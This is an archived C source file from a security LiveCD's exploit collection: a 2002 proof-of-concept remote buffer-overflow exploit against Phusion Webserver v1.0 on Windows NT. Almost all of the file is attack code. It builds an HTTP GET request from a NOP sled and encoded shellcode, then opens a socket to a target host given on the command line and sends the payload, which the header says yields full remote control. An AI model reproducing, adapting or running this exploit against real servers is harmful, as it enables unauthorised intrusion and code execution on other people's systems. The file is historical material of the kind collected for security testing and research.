home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / phusion / Phusion-ovrun.c < prev   
C/C++ Source or Header  |  2005-02-12  |  5KB  |  137 lines

  1. /** Phusion-Overun.c 
  2. ** -Remote exploit for Phusion Webserver v1.0 for WinNT.
  3. **
  4. ** Phusion Webserver v1.0 exploit gets remote servers's full control.
  5. ** When you attacks a vulnerable server you can run abitrary code
  6. ** inside.
  7. **
  8. ** Phusion Webserver v1.0 proof-of-concept exploit.
  9. ** By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
  10. **
  11. ** Thanks all the people from Spain and Argentina.
  12. ** Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
  13. ** G.Maggiotti & H.Oliveira.
  14. ** 
  15. **
  16. ** Compile: gcc -o Phusion-ovrun Phusion-ovrun.c
  17. **
  18. ** Usage: ./Phusion-ovrun <hostname>
  19. **
  20. **
  21. ** 
  22. **
  23. **/
  24.  
  25.  
  26. #include <stdio.h>
  27. #include <unistd.h>
  28. #include <sys/socket.h>
  29. #include <netinet/in.h>
  30. #include <sys/errno.h>
  31. #include <netdb.h>
  32.  
  33. #define _PORT   80
  34. #define _X 10000
  35.  
  36. char runcrash[] =
  37. "GET /"
  38. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  39. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  40. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  41. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  42. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  43. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  44. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  45. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  46. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  47. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  48. "\x90\x90\x90\x90\x90\x81\xc7\xc8\x10\x10\x10\x81\xef\x10"
  49. "\x10\x10\x10\x57\x5e\x33\xc0\x66\xb8\x31\x02\x90\x90\x50"
  50. "\x59\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99\xc4\x18"
  51. "\x74\xb1\x89\xd9\x99\xf3\x99\xf1\x19\x99\x99\x99\xf3\x9b"
  52. "\xf3\x99\xf3\x99\xf1\x99\x99\x99\xd9\x14\x2c\xac\x8b\xd9"
  53. "\x99\xcf\xf1\x19\x02\xd4\x99\xc3\x66\x8b\xc9\xc2\xf3\x99"
  54. "\x14\x24\x3a\x89\xd9\x99\xaa\x59\x32\x14\x2c\x3a\x89\xd9"
  55. "\x99\xcf\xf1\xd3\x98\x99\x99\x09\x14\x2c\x72\x89\xd9\x99"
  56. "\xcf\xca\xf1\x49\x05\xd4\x99\xc3\x66\x8b\xca\xf1\x05\x02"
  57. "\xd4\x99\xc3\x66\x8b\xf1\xa9\xd4\xde\x99\xc6\x14\x2c\x3e"
  58. "\x89\xd9\x99\xf3\xdd\x09\x09\x09\x09\xc0\x35\x33\x7b\x65"
  59. "\xf3\x99\x23\x31\x02\xd4\x99\x66\x8b\x99\x99\x99\x99\xca"
  60. "\xfc\xeb\xef\xfc\xeb\xb9\xf1\xf8\xfa\xf2\xfc\xfd\xb7\xa5"
  61. "\xb6\xf1\xab\xa7\xf1\xed\xed\xe9\xa3\xb6\xb6\xee\xee\xee"
  62. "\xb7\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xb9"
  63. "\xb9\xca\xe9\xf5\xf6\xf0\xed\xb9\xfa\xf6\xfd\xfc\xfd\xb9"
  64. "\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xe4\xa3\xb0\xa5\xf1\xed"
  65. "\xf4\xf5\xa7\xa5\xf1\xfc\xf8\xfd\xa7\xa5\xed\xf0\xed\xf5"
  66. "\xfc\xa7\xca\xfc\xeb\xef\xfc\xeb\xb9\xf1\xf8\xfa\xf2\xfc"
  67. "\xfd\xb7\xa5\xb6\xed\xf0\xed\xf5\xfc\xa7\xa5\xb6\xf1\xfc"
  68. "\xf8\xfd\xa7\xa5\xfb\xf6\xfd\xe0\xa7\xa5\xfa\xfc\xf7\xed"
  69. "\xfc\xeb\xa7\xd1\xfc\xf5\xf5\xf6\xb7\xb9\xc0\xf6\xec\xb9"
  70. "\xf8\xeb\xfc\xb9\xeb\xec\xf7\xf7\xf0\xf7\xfe\xb9\xf8\xb9"
  71. "\xc3\xdb\xca\xfc\xeb\xef\xfc\xeb\xb9\xc9\xcb\xd6\xea\xb9"
  72. "\xfb\xec\xfe\xfe\xe0\xb9\xef\xfc\xeb\xea\xf0\xf6\xf7\xb9"
  73. "\xf8\xf7\xfd\xb9\xe0\xf6\xec\xb9\xf1\xf8\xef\xfc\xb9\xfb"
  74. "\xfc\xfc\xf7\xb9\xf8\xfb\xec\xea\xfc\xfd\xb7\xa5\xe9\xa7"
  75. "\xd4\xf6\xeb\xfc\xb9\xf0\xf7\xff\xf6\xeb\xf4\xf8\xed\xf0"
  76. "\xf6\xf7\xb9\xfa\xf8\xf7\xb9\xfb\xfc\xb9\xfd\xf6\xee\xf7"
  77. "\xf5\xf6\xf8\xfd\xb9\xff\xeb\xf6\xf4\xb9\xf1\xed\xed\xe9"
  78. "\xa3\xb6\xb6\xee\xee\xee\xb7\xfd\xfc\xfc\xe9\xe3\xf6\xf7"
  79. "\xfc\xb7\xf6\xeb\xfe\xb9\xf6\xeb\xb9\xf1\xed\xed\xe9\xa3"
  80. "\xb6\xb6\xf4\xf8\xeb\xfc\xf8\xea\xef\xf0\xef\xf8\xea\xb7"
  81. "\xfa\xf3\xfb\xb7\xf7\xfc\xed\xa5\xe9\xa7\xeb\xfc\xfe\xf8"
  82. "\xeb\xfd\xea\xb9\xed\xf6\xb9\xdd\xfc\xfc\xe9\xc3\xf6\xf7"
  83. "\xfc\xb9\xfa\xeb\xfc\xee\xb9\xb1\xcd\xf1\xfc\xce\xf0\xe3"
  84. "\xf8\xeb\xfd\xb5\xb9\xd8\xf7\xec\xea\xf2\xf8\xb9\xf8\xf7"
  85. "\xfd\xb9\xd7\xfc\xf4\xf6\xb0\xa5\xe9\xa7\xda\xf6\xfd\xfc"
  86. "\xfd\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb7\xa5\xb6\xfa\xfc"
  87. "\xf7\xed\xfc\xeb\xa7\xa5\xb6\xfb\xf6\xfd\xe0\xa7\xa5\xb6"
  88. "\xf1\xed\xf4\xf5\xa7\xb7\xc5\xf1\xed\xf4\xf5\xc5\xca\xfc"
  89. "\xeb\xef\xfc\xeb\xd8\xfb\xec\xea\xfc\xfd\xfb\xe0\xf0\xc3"
  90. "\xf8\xf7\xb7\xf1\xed\xf4\xf5\x99\x90\x90\x90\x90\x90\x90"
  91. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  92. "\x90\x90\x90\x90\x90\xac\xe0\xe3\x01";
  93.  
  94.  
  95. int     sock;
  96. struct  sockaddr_in sock_a;
  97. struct  hostent *host;
  98.  
  99. int main (int argc, char *argv[]) {
  100.  
  101. printf("\nWinNT 4.0 sp5 Phusion Webserver v1.0 BufferOverrun exploit\n");
  102. printf("Alex Hernandez al3xhernandez@ureach.com\n\n");
  103.  
  104. if(argc < 2) {
  105.    fprintf(stderr, "Error : Usage: %s <hostname> \n", argv[0]);
  106.    exit(0);
  107.   }
  108.  
  109.  
  110. if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
  111.     perror("gethostbyname");
  112.     exit(-1);
  113.   }
  114.  
  115. if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
  116.     perror("create socket");
  117.     exit(-1);
  118.   }
  119.  
  120. sock_a.sin_family=AF_INET;
  121. sock_a.sin_port=htons(_PORT);
  122. memcpy((char *)&sock_a.sin_addr,(char *)host->h_addr,host->h_length);
  123. if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
  124.     perror("create connect");
  125.     exit(-1);
  126.   }
  127.  
  128.   fflush(stdout);
  129.  
  130.   write(sock,runcrash,_X);
  131.   write(sock,"\n\n", 2);
  132.   printf("done.\n\n");
  133.  
  134. }
  135.  
  136.  
  137.